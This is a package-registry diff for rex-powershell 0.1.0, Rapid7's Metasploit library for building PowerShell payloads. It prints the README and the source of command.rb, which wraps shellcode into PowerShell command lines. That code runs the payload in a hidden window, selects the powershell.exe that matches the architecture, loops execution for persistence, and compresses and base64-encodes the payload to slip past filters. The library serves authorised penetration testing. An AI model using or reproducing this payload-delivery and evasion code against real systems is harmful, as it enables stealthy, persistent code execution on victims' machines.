rex-powershell 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- checksums.yaml.gz.sig +0 -0
- data.tar.gz.sig +1 -0
- data/.gitignore +9 -0
- data/.rspec +2 -0
- data/.travis.yml +5 -0
- data/CODE_OF_CONDUCT.md +52 -0
- data/Gemfile +4 -0
- data/LICENSE +27 -0
- data/README.md +32 -0
- data/Rakefile +6 -0
- data/bin/console +14 -0
- data/bin/setup +8 -0
- data/lib/rex/powershell.rb +71 -0
- data/lib/rex/powershell/command.rb +359 -0
- data/lib/rex/powershell/function.rb +61 -0
- data/lib/rex/powershell/obfu.rb +96 -0
- data/lib/rex/powershell/output.rb +157 -0
- data/lib/rex/powershell/param.rb +21 -0
- data/lib/rex/powershell/parser.rb +182 -0
- data/lib/rex/powershell/payload.rb +78 -0
- data/lib/rex/powershell/psh_methods.rb +93 -0
- data/lib/rex/powershell/script.rb +96 -0
- data/lib/rex/powershell/version.rb +5 -0
- data/rex-powershell.gemspec +27 -0
- metadata +213 -0
- metadata.gz.sig +0 -0
checksums.yaml
ADDED
@@ -0,0 +1,7 @@
|
|
1
|
+
---
|
2
|
+
SHA1:
|
3
|
+
metadata.gz: 6e804aa77f3457dbd23306effacfe287a50a3c18
|
4
|
+
data.tar.gz: a270712dba4ac88432abc0755a14ba92b757820b
|
5
|
+
SHA512:
|
6
|
+
metadata.gz: 874849a04f6e9d63adf92c90c2386aafab036ca6589eefe4a86da82bf8b6fd03c79932bf4e89c65f6b52dd2e2162dfcc3db1fb61b84c02843357a6b0bc6c8483
|
7
|
+
data.tar.gz: e4643295020c14d26f18d12eb8a3b1ecf436eb41e2f662c5f703875782a4984ae3b3afa9dffa978ea8173226e61d611a85cacc27cdde31af4bc51a5760aa9eb8
|
checksums.yaml.gz.sig
ADDED
Binary file
|
data.tar.gz.sig
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
.ݞ��=��
|
data/.gitignore
ADDED
data/.rspec
ADDED
data/.travis.yml
ADDED
data/CODE_OF_CONDUCT.md
ADDED
@@ -0,0 +1,52 @@
|
|
1
|
+
# Contributor Code of Conduct
|
2
|
+
|
3
|
+
As contributors and maintainers of this project, and in the interest of
|
4
|
+
fostering an open and welcoming community, we pledge to respect all people who
|
5
|
+
contribute through reporting issues, posting feature requests, updating
|
6
|
+
documentation, submitting pull requests or patches, and other activities.
|
7
|
+
|
8
|
+
We are committed to making participation in this project a harassment-free
|
9
|
+
experience for everyone, regardless of level of experience, gender, gender
|
10
|
+
identity and expression, sexual orientation, disability, personal appearance,
|
11
|
+
body size, race, ethnicity, age, religion, or nationality.
|
12
|
+
|
13
|
+
Examples of unacceptable behavior by participants include:
|
14
|
+
|
15
|
+
* The use of sexualized language or imagery
|
16
|
+
* Personal attacks
|
17
|
+
* Trolling or insulting/derogatory comments
|
18
|
+
* Public or private harassment
|
19
|
+
* Publishing other's private information, such as physical or electronic
|
20
|
+
addresses, without explicit permission
|
21
|
+
* Other unethical or unprofessional conduct
|
22
|
+
|
23
|
+
Project maintainers have the right and responsibility to remove, edit, or
|
24
|
+
reject comments, commits, code, wiki edits, issues, and other contributions
|
25
|
+
that are not aligned to this Code of Conduct, or to ban temporarily or
|
26
|
+
permanently any contributor for other behaviors that they deem inappropriate,
|
27
|
+
threatening, offensive, or harmful.
|
28
|
+
|
29
|
+
By adopting this Code of Conduct, project maintainers commit themselves to
|
30
|
+
fairly and consistently applying these principles to every aspect of managing
|
31
|
+
this project. Project maintainers who do not follow or enforce the Code of
|
32
|
+
Conduct may be permanently removed from the project team.
|
33
|
+
|
34
|
+
This Code of Conduct applies both within project spaces and in public spaces
|
35
|
+
when an individual is representing the project or its community.
|
36
|
+
|
37
|
+
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
38
|
+
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
39
|
+
the incident involves a committer, you may report directly to
|
40
|
+
egypt@metasploit.com or todb@metasploit.com.
|
41
|
+
|
42
|
+
All complaints will be reviewed and investigated and will result in a
|
43
|
+
response that is deemed necessary and appropriate to the circumstances.
|
44
|
+
Maintainers are obligated to maintain confidentiality with regard to the
|
45
|
+
reporter of an incident.
|
46
|
+
|
47
|
+
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
48
|
+
version 1.3.0, available at
|
49
|
+
[http://contributor-covenant.org/version/1/3/0/][version]
|
50
|
+
|
51
|
+
[homepage]: http://contributor-covenant.org
|
52
|
+
[version]: http://contributor-covenant.org/version/1/3/0/
|
data/Gemfile
ADDED
data/LICENSE
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
Copyright (C) 2012-2013, Rapid7, Inc.
|
2
|
+
All rights reserved.
|
3
|
+
|
4
|
+
Redistribution and use in source and binary forms, with or without modification,
|
5
|
+
are permitted provided that the following conditions are met:
|
6
|
+
|
7
|
+
* Redistributions of source code must retain the above copyright notice,
|
8
|
+
this list of conditions and the following disclaimer.
|
9
|
+
|
10
|
+
* Redistributions in binary form must reproduce the above copyright notice,
|
11
|
+
this list of conditions and the following disclaimer in the documentation
|
12
|
+
and/or other materials provided with the distribution.
|
13
|
+
|
14
|
+
* Neither the name of Rapid7 LLC nor the names of its contributors
|
15
|
+
may be used to endorse or promote products derived from this software
|
16
|
+
without specific prior written permission.
|
17
|
+
|
18
|
+
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
19
|
+
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
20
|
+
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
21
|
+
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
22
|
+
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
23
|
+
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
24
|
+
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
25
|
+
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
26
|
+
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
27
|
+
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
data/README.md
ADDED
@@ -0,0 +1,32 @@
|
|
1
|
+
# Rex::Powershell
|
2
|
+
|
3
|
+
Ruby Exploitation(Rex) library for dealing with Powershell Scripts. This Library is designed to help create and manipulate powershell scripts for use
|
4
|
+
with Metasploit exploits. It is ported over from the Metasploit Framework code originally created by Meatballs1(https://github.com/Meatballs1)
|
5
|
+
|
6
|
+
## Installation
|
7
|
+
|
8
|
+
Add this line to your application's Gemfile:
|
9
|
+
|
10
|
+
```ruby
|
11
|
+
gem 'rex-powershell'
|
12
|
+
```
|
13
|
+
|
14
|
+
And then execute:
|
15
|
+
|
16
|
+
$ bundle
|
17
|
+
|
18
|
+
Or install it yourself as:
|
19
|
+
|
20
|
+
$ gem install rex-powershell
|
21
|
+
|
22
|
+
|
23
|
+
## Development
|
24
|
+
|
25
|
+
After checking out the repo, run `bin/setup` to install dependencies. Then, run `rake spec` to run the tests. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
|
26
|
+
|
27
|
+
To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and tags, and push the `.gem` file to [rubygems.org](https://rubygems.org).
|
28
|
+
|
29
|
+
## Contributing
|
30
|
+
|
31
|
+
Bug reports and pull requests are welcome on GitHub at https://github.com/rapid7/rex-powershell. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.
|
32
|
+
|
data/Rakefile
ADDED
data/bin/console
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
#!/usr/bin/env ruby
|
2
|
+
|
3
|
+
require "bundler/setup"
|
4
|
+
require "rex/powershell"
|
5
|
+
|
6
|
+
# You can add fixtures and/or initialization code here to make experimenting
|
7
|
+
# with your gem easier. You can also use a different console, if you like.
|
8
|
+
|
9
|
+
# (If you use this, don't forget to add pry to your Gemfile!)
|
10
|
+
# require "pry"
|
11
|
+
# Pry.start
|
12
|
+
|
13
|
+
require "irb"
|
14
|
+
IRB.start
|
data/bin/setup
ADDED
@@ -0,0 +1,71 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
require 'rex/powershell/version'
|
3
|
+
require 'rex/powershell/payload'
|
4
|
+
require 'rex/powershell/output'
|
5
|
+
require 'rex/powershell/parser'
|
6
|
+
require 'rex/powershell/obfu'
|
7
|
+
require 'rex/powershell/param'
|
8
|
+
require 'rex/powershell/function'
|
9
|
+
require 'rex/powershell/script'
|
10
|
+
require 'rex/powershell/psh_methods'
|
11
|
+
require 'rex/powershell/command'
|
12
|
+
|
13
|
+
|
14
|
+
module Rex
|
15
|
+
module Powershell
|
16
|
+
#
|
17
|
+
# Reads script into a Powershell::Script
|
18
|
+
#
|
19
|
+
# @param script_path [String] Path to the Script File
|
20
|
+
#
|
21
|
+
# @return [Script] Powershell Script object
|
22
|
+
def self.read_script(script_path)
|
23
|
+
Rex::Powershell::Script.new(script_path)
|
24
|
+
end
|
25
|
+
|
26
|
+
#
|
27
|
+
# Insert substitutions into the powershell script
|
28
|
+
# If script is a path to a file then read the file
|
29
|
+
# otherwise treat it as the contents of a file
|
30
|
+
#
|
31
|
+
# @param script [String] Script file or path to script
|
32
|
+
# @param subs [Array] Substitutions to insert
|
33
|
+
#
|
34
|
+
# @return [String] Modified script file
|
35
|
+
def self.make_subs(script, subs)
|
36
|
+
if ::File.file?(script)
|
37
|
+
script = ::File.read(script)
|
38
|
+
end
|
39
|
+
|
40
|
+
subs.each do |set|
|
41
|
+
script.gsub!(set[0], set[1])
|
42
|
+
end
|
43
|
+
|
44
|
+
script
|
45
|
+
end
|
46
|
+
|
47
|
+
#
|
48
|
+
# Return an array of substitutions for use in make_subs
|
49
|
+
#
|
50
|
+
# @param subs [String] A ; seperated list of substitutions
|
51
|
+
#
|
52
|
+
# @return [Array] An array of substitutions
|
53
|
+
def self.process_subs(subs)
|
54
|
+
return [] if subs.nil? or subs.empty?
|
55
|
+
new_subs = []
|
56
|
+
subs.split(';').each do |set|
|
57
|
+
new_subs << set.split(',', 2)
|
58
|
+
end
|
59
|
+
|
60
|
+
new_subs
|
61
|
+
end
|
62
|
+
|
63
|
+
#
|
64
|
+
# Converts a raw string to a powershell byte array
|
65
|
+
#
|
66
|
+
def self.to_powershell(str, name = "buf")
|
67
|
+
return Rex::Powershell::Script.to_byte_array(str, name)
|
68
|
+
end
|
69
|
+
end
|
70
|
+
end
|
71
|
+
|
@@ -0,0 +1,359 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
|
3
|
+
module Rex
|
4
|
+
module Powershell
|
5
|
+
module Command
|
6
|
+
#
|
7
|
+
# Return an encoded powershell script
|
8
|
+
# Will invoke PSH modifiers as enabled
|
9
|
+
#
|
10
|
+
# @param script_in [String] Script contents
|
11
|
+
# @param opts [Hash] The options for encoding
|
12
|
+
# @option opts [Bool] :strip_comments Strip comments
|
13
|
+
# @option opts [Bool] :strip_whitespace Strip whitespace
|
14
|
+
# @option opts [Bool] :sub_vars Substitute variable names
|
15
|
+
# @option opts [Bool] :sub_funcs Substitute function names
|
16
|
+
#
|
17
|
+
# @return [String] Encoded script
|
18
|
+
def self.encode_script(script_in, eof=nil, opts={})
|
19
|
+
# Build script object
|
20
|
+
psh = Rex::Powershell::Script.new(script_in)
|
21
|
+
psh.strip_comments if opts[:strip_comments]
|
22
|
+
psh.strip_whitespace if opts[:strip_whitespace]
|
23
|
+
psh.sub_vars if opts[:sub_vars]
|
24
|
+
psh.sub_funcs if opts[:sub_funcs]
|
25
|
+
psh.encode_code(eof)
|
26
|
+
end
|
27
|
+
|
28
|
+
#
|
29
|
+
# Return a gzip compressed powershell script
|
30
|
+
# Will invoke PSH modifiers as enabled
|
31
|
+
#
|
32
|
+
# @param script_in [String] Script contents
|
33
|
+
# @param eof [String] Marker to indicate the end of file appended to script
|
34
|
+
# @param opts [Hash] The options for encoding
|
35
|
+
# @option opts [Bool] :strip_comments Strip comments
|
36
|
+
# @option opts [Bool] :strip_whitespace Strip whitespace
|
37
|
+
# @option opts [Bool] :sub_vars Substitute variable names
|
38
|
+
# @option opts [Bool] :sub_funcs Substitute function names
|
39
|
+
#
|
40
|
+
# @return [String] Compressed script with decompression stub
|
41
|
+
def self.compress_script(script_in, eof=nil, opts={})
|
42
|
+
# Build script object
|
43
|
+
psh = Rex::Powershell::Script.new(script_in)
|
44
|
+
psh.strip_comments if opts[:strip_comments]
|
45
|
+
psh.strip_whitespace if opts[:strip_whitespace]
|
46
|
+
psh.sub_vars if opts[:sub_vars]
|
47
|
+
psh.sub_funcs if opts[:sub_funcs]
|
48
|
+
psh.compress_code(eof)
|
49
|
+
end
|
50
|
+
|
51
|
+
#
|
52
|
+
# Generate a powershell command line, options are passed on to
|
53
|
+
# generate_psh_args
|
54
|
+
#
|
55
|
+
# @param opts [Hash] The options to generate the command line
|
56
|
+
# @option opts [String] :path Path to the powershell binary
|
57
|
+
# @option opts [Boolean] :no_full_stop Whether powershell binary
|
58
|
+
# should include .exe
|
59
|
+
#
|
60
|
+
# @return [String] Powershell command line with arguments
|
61
|
+
def self.generate_psh_command_line(opts)
|
62
|
+
if opts[:path] and (opts[:path][-1, 1] != '\\')
|
63
|
+
opts[:path] << '\\'
|
64
|
+
end
|
65
|
+
|
66
|
+
if opts[:no_full_stop]
|
67
|
+
binary = 'powershell'
|
68
|
+
else
|
69
|
+
binary = 'powershell.exe'
|
70
|
+
end
|
71
|
+
|
72
|
+
args = generate_psh_args(opts)
|
73
|
+
|
74
|
+
"#{opts[:path]}#{binary} #{args}"
|
75
|
+
end
|
76
|
+
|
77
|
+
#
|
78
|
+
# Generate arguments for the powershell command
|
79
|
+
# The format will be have no space at the start and have a space
|
80
|
+
# afterwards e.g. "-Arg1 x -Arg -Arg x "
|
81
|
+
#
|
82
|
+
# @param opts [Hash] The options to generate the command line
|
83
|
+
# @option opts [Boolean] :shorten Whether to shorten the powershell
|
84
|
+
# arguments (v2.0 or greater)
|
85
|
+
# @option opts [String] :encodedcommand Powershell script as an
|
86
|
+
# encoded command (-EncodedCommand)
|
87
|
+
# @option opts [String] :executionpolicy The execution policy
|
88
|
+
# (-ExecutionPolicy)
|
89
|
+
# @option opts [String] :inputformat The input format (-InputFormat)
|
90
|
+
# @option opts [String] :file The path to a powershell file (-File)
|
91
|
+
# @option opts [Boolean] :noexit Whether to exit powershell after
|
92
|
+
# execution (-NoExit)
|
93
|
+
# @option opts [Boolean] :nologo Whether to display the logo (-NoLogo)
|
94
|
+
# @option opts [Boolean] :noninteractive Whether to load a non
|
95
|
+
# interactive powershell (-NonInteractive)
|
96
|
+
# @option opts [Boolean] :mta Whether to run as Multi-Threaded
|
97
|
+
# Apartment (-Mta)
|
98
|
+
# @option opts [String] :outputformat The output format
|
99
|
+
# (-OutputFormat)
|
100
|
+
# @option opts [Boolean] :sta Whether to run as Single-Threaded
|
101
|
+
# Apartment (-Sta)
|
102
|
+
# @option opts [Boolean] :noprofile Whether to use the current users
|
103
|
+
# powershell profile (-NoProfile)
|
104
|
+
# @option opts [String] :windowstyle The window style to use
|
105
|
+
# (-WindowStyle)
|
106
|
+
#
|
107
|
+
# @return [String] Powershell command arguments
|
108
|
+
def self.generate_psh_args(opts)
|
109
|
+
return '' unless opts
|
110
|
+
|
111
|
+
unless opts.key? :shorten
|
112
|
+
opts[:shorten] = (opts[:method] != 'old')
|
113
|
+
end
|
114
|
+
|
115
|
+
arg_string = ' '
|
116
|
+
opts.each_pair do |arg, value|
|
117
|
+
case arg
|
118
|
+
when :encodedcommand
|
119
|
+
arg_string << "-EncodedCommand #{value} " if value
|
120
|
+
when :executionpolicy
|
121
|
+
arg_string << "-ExecutionPolicy #{value} " if value
|
122
|
+
when :inputformat
|
123
|
+
arg_string << "-InputFormat #{value} " if value
|
124
|
+
when :file
|
125
|
+
arg_string << "-File #{value} " if value
|
126
|
+
when :noexit
|
127
|
+
arg_string << '-NoExit ' if value
|
128
|
+
when :nologo
|
129
|
+
arg_string << '-NoLogo ' if value
|
130
|
+
when :noninteractive
|
131
|
+
arg_string << '-NonInteractive ' if value
|
132
|
+
when :mta
|
133
|
+
arg_string << '-Mta ' if value
|
134
|
+
when :outputformat
|
135
|
+
arg_string << "-OutputFormat #{value} " if value
|
136
|
+
when :sta
|
137
|
+
arg_string << '-Sta ' if value
|
138
|
+
when :noprofile
|
139
|
+
arg_string << '-NoProfile ' if value
|
140
|
+
when :windowstyle
|
141
|
+
arg_string << "-WindowStyle #{value} " if value
|
142
|
+
end
|
143
|
+
end
|
144
|
+
|
145
|
+
# Command must be last (unless from stdin - etc)
|
146
|
+
if opts[:command]
|
147
|
+
arg_string << "-Command #{opts[:command]}"
|
148
|
+
end
|
149
|
+
|
150
|
+
# Shorten arg if PSH 2.0+
|
151
|
+
if opts[:shorten]
|
152
|
+
# Invoke-Command and Out-File require these options to have
|
153
|
+
# an additional space before to prevent Powershell code being
|
154
|
+
# mangled.
|
155
|
+
arg_string.gsub!(' -Command ', ' -c ')
|
156
|
+
arg_string.gsub!('-EncodedCommand ', '-e ')
|
157
|
+
arg_string.gsub!('-ExecutionPolicy ', '-ep ')
|
158
|
+
arg_string.gsub!(' -File ', ' -f ')
|
159
|
+
arg_string.gsub!('-InputFormat ', '-i ')
|
160
|
+
arg_string.gsub!('-NoExit ', '-noe ')
|
161
|
+
arg_string.gsub!('-NoLogo ', '-nol ')
|
162
|
+
arg_string.gsub!('-NoProfile ', '-nop ')
|
163
|
+
arg_string.gsub!('-NonInteractive ', '-noni ')
|
164
|
+
arg_string.gsub!('-OutputFormat ', '-o ')
|
165
|
+
arg_string.gsub!('-Sta ', '-s ')
|
166
|
+
arg_string.gsub!('-WindowStyle ', '-w ')
|
167
|
+
end
|
168
|
+
|
169
|
+
# Strip off first space character
|
170
|
+
arg_string = arg_string[1..-1]
|
171
|
+
# Remove final space character
|
172
|
+
arg_string = arg_string[0..-2] if (arg_string[-1] == ' ')
|
173
|
+
|
174
|
+
arg_string
|
175
|
+
end
|
176
|
+
|
177
|
+
#
|
178
|
+
# Wraps the powershell code to launch a hidden window and
|
179
|
+
# detect the execution environment and spawn the appropriate
|
180
|
+
# powershell executable for the payload architecture.
|
181
|
+
#
|
182
|
+
# @param ps_code [String] Powershell code
|
183
|
+
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
184
|
+
# @param encoded [Boolean] Indicates whether ps_code is encoded or not
|
185
|
+
# @param opts [Hash] The options for generate_psh_args
|
186
|
+
#
|
187
|
+
# @return [String] Wrapped powershell code
|
188
|
+
def self.run_hidden_psh(ps_code, payload_arch, encoded, opts={})
|
189
|
+
opts[:noprofile] ||= 'true'
|
190
|
+
opts[:windowstyle] ||= 'hidden'
|
191
|
+
|
192
|
+
# Old method needs host process to stay open
|
193
|
+
opts[:noexit] = true if (opts[:method] == 'old')
|
194
|
+
|
195
|
+
if encoded
|
196
|
+
opts[:encodedcommand] = ps_code
|
197
|
+
else
|
198
|
+
opts[:command] = ps_code.gsub("'", "''")
|
199
|
+
end
|
200
|
+
|
201
|
+
ps_args = generate_psh_args(opts)
|
202
|
+
|
203
|
+
process_start_info = <<EOS
|
204
|
+
$s=New-Object System.Diagnostics.ProcessStartInfo
|
205
|
+
$s.FileName=$b
|
206
|
+
$s.Arguments='#{ps_args}'
|
207
|
+
$s.UseShellExecute=$false
|
208
|
+
$s.RedirectStandardOutput=$true
|
209
|
+
$s.WindowStyle='Hidden'
|
210
|
+
$s.CreateNoWindow=$true
|
211
|
+
$p=[System.Diagnostics.Process]::Start($s)
|
212
|
+
EOS
|
213
|
+
process_start_info.gsub!("\n", ';')
|
214
|
+
|
215
|
+
archictecure_detection = <<EOS
|
216
|
+
if([IntPtr]::Size -eq 4){
|
217
|
+
#{payload_arch == 'x86' ? "$b='powershell.exe'" : "$b=$env:windir+'\\sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'"}
|
218
|
+
}else{
|
219
|
+
#{payload_arch == 'x86' ? "$b=$env:windir+'\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe'" : "$b='powershell.exe'"}
|
220
|
+
};
|
221
|
+
EOS
|
222
|
+
|
223
|
+
archictecure_detection.gsub!("\n", '')
|
224
|
+
|
225
|
+
archictecure_detection + process_start_info
|
226
|
+
end
|
227
|
+
|
228
|
+
#
|
229
|
+
# Creates a powershell command line string which will execute the
|
230
|
+
# payload in a hidden window in the appropriate execution environment
|
231
|
+
# for the payload architecture. Opts are passed through to
|
232
|
+
# run_hidden_psh, generate_psh_command_line and generate_psh_args
|
233
|
+
#
|
234
|
+
# @param pay [String] The payload shellcode
|
235
|
+
# @param payload_arch [String] The payload architecture 'x86'/'x86_64'
|
236
|
+
# @param opts [Hash] The options to generate the command
|
237
|
+
# @option opts [Boolean] :persist Loop the payload to cause
|
238
|
+
# re-execution if the shellcode finishes
|
239
|
+
# @option opts [Integer] :prepend_sleep Sleep for the specified time
|
240
|
+
# before executing the payload
|
241
|
+
# @option opts [String] :method The powershell injection technique to
|
242
|
+
# use: 'net'/'reflection'/'old'
|
243
|
+
# @option opts [Boolean] :encode_inner_payload Encodes the powershell
|
244
|
+
# script within the hidden/architecture detection wrapper
|
245
|
+
# @option opts [Boolean] :encode_final_payload Encodes the final
|
246
|
+
# powershell script
|
247
|
+
# @option opts [Boolean] :remove_comspec Removes the %COMSPEC%
|
248
|
+
# environment variable at the start of the command line
|
249
|
+
# @option opts [Boolean] :use_single_quotes Wraps the -Command
|
250
|
+
# argument in single quotes unless :encode_final_payload
|
251
|
+
#
|
252
|
+
# @return [String] Powershell command line with payload
|
253
|
+
def self.cmd_psh_payload(pay, payload_arch, template_path, opts = {})
|
254
|
+
if opts[:encode_inner_payload] && opts[:encode_final_payload]
|
255
|
+
fail RuntimeError, ':encode_inner_payload and :encode_final_payload are incompatible options'
|
256
|
+
end
|
257
|
+
|
258
|
+
if opts[:no_equals] && !opts[:encode_final_payload]
|
259
|
+
fail RuntimeError, ':no_equals requires :encode_final_payload option to be used'
|
260
|
+
end
|
261
|
+
|
262
|
+
psh_payload = case opts[:method]
|
263
|
+
when 'net'
|
264
|
+
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, pay)
|
265
|
+
when 'reflection'
|
266
|
+
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, pay)
|
267
|
+
when 'old'
|
268
|
+
Rex::Powershell::Payload.to_win32pe_psh(template_path, pay)
|
269
|
+
when 'msil'
|
270
|
+
fail RuntimeError, 'MSIL Powershell method no longer exists'
|
271
|
+
else
|
272
|
+
fail RuntimeError, 'No Powershell method specified'
|
273
|
+
end
|
274
|
+
|
275
|
+
# Run our payload in a while loop
|
276
|
+
if opts[:persist]
|
277
|
+
fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
|
278
|
+
sleep_time = rand(5) + 5
|
279
|
+
psh_payload = "function #{fun_name}{#{psh_payload}};"
|
280
|
+
psh_payload << "while(1){Start-Sleep -s #{sleep_time};#{fun_name};1};"
|
281
|
+
end
|
282
|
+
|
283
|
+
if opts[:prepend_sleep]
|
284
|
+
if opts[:prepend_sleep].to_i > 0
|
285
|
+
psh_payload = "Start-Sleep -s #{opts[:prepend_sleep]};" << psh_payload
|
286
|
+
end
|
287
|
+
end
|
288
|
+
|
289
|
+
compressed_payload = compress_script(psh_payload, nil, opts)
|
290
|
+
encoded_payload = encode_script(psh_payload, opts)
|
291
|
+
|
292
|
+
# This branch is probably never taken...
|
293
|
+
if encoded_payload.length <= compressed_payload.length
|
294
|
+
smallest_payload = encoded_payload
|
295
|
+
encoded = true
|
296
|
+
else
|
297
|
+
if opts[:encode_inner_payload]
|
298
|
+
encoded = true
|
299
|
+
compressed_encoded_payload = encode_script(compressed_payload)
|
300
|
+
|
301
|
+
if encoded_payload.length <= compressed_encoded_payload.length
|
302
|
+
smallest_payload = encoded_payload
|
303
|
+
else
|
304
|
+
smallest_payload = compressed_encoded_payload
|
305
|
+
end
|
306
|
+
else
|
307
|
+
smallest_payload = compressed_payload
|
308
|
+
encoded = false
|
309
|
+
end
|
310
|
+
end
|
311
|
+
|
312
|
+
# Wrap in hidden runtime / architecture detection
|
313
|
+
inner_args = opts.clone
|
314
|
+
final_payload = run_hidden_psh(smallest_payload, payload_arch, encoded, inner_args)
|
315
|
+
|
316
|
+
command_args = {
|
317
|
+
noprofile: true,
|
318
|
+
windowstyle: 'hidden'
|
319
|
+
}.merge(opts)
|
320
|
+
|
321
|
+
if opts[:encode_final_payload]
|
322
|
+
command_args[:encodedcommand] = encode_script(final_payload)
|
323
|
+
|
324
|
+
# If '=' is a bad character pad the payload until Base64 encoded
|
325
|
+
# payload contains none.
|
326
|
+
if opts[:no_equals]
|
327
|
+
while command_args[:encodedcommand].include? '='
|
328
|
+
final_payload << ' '
|
329
|
+
command_args[:encodedcommand] = encode_script(final_payload)
|
330
|
+
end
|
331
|
+
end
|
332
|
+
else
|
333
|
+
if opts[:use_single_quotes]
|
334
|
+
# Escape Single Quotes
|
335
|
+
final_payload.gsub!("'", "''")
|
336
|
+
# Wrap command in quotes
|
337
|
+
final_payload = "'#{final_payload}'"
|
338
|
+
end
|
339
|
+
|
340
|
+
command_args[:command] = final_payload
|
341
|
+
end
|
342
|
+
|
343
|
+
psh_command = generate_psh_command_line(command_args)
|
344
|
+
|
345
|
+
if opts[:remove_comspec]
|
346
|
+
command = psh_command
|
347
|
+
else
|
348
|
+
command = "%COMSPEC% /b /c start /b /min #{psh_command}"
|
349
|
+
end
|
350
|
+
|
351
|
+
if command.length > 8191
|
352
|
+
fail RuntimeError, 'Powershell command length is greater than the command line maximum (8192 characters)'
|
353
|
+
end
|
354
|
+
|
355
|
+
command
|
356
|
+
end
|
357
|
+
end
|
358
|
+
end
|
359
|
+
end
|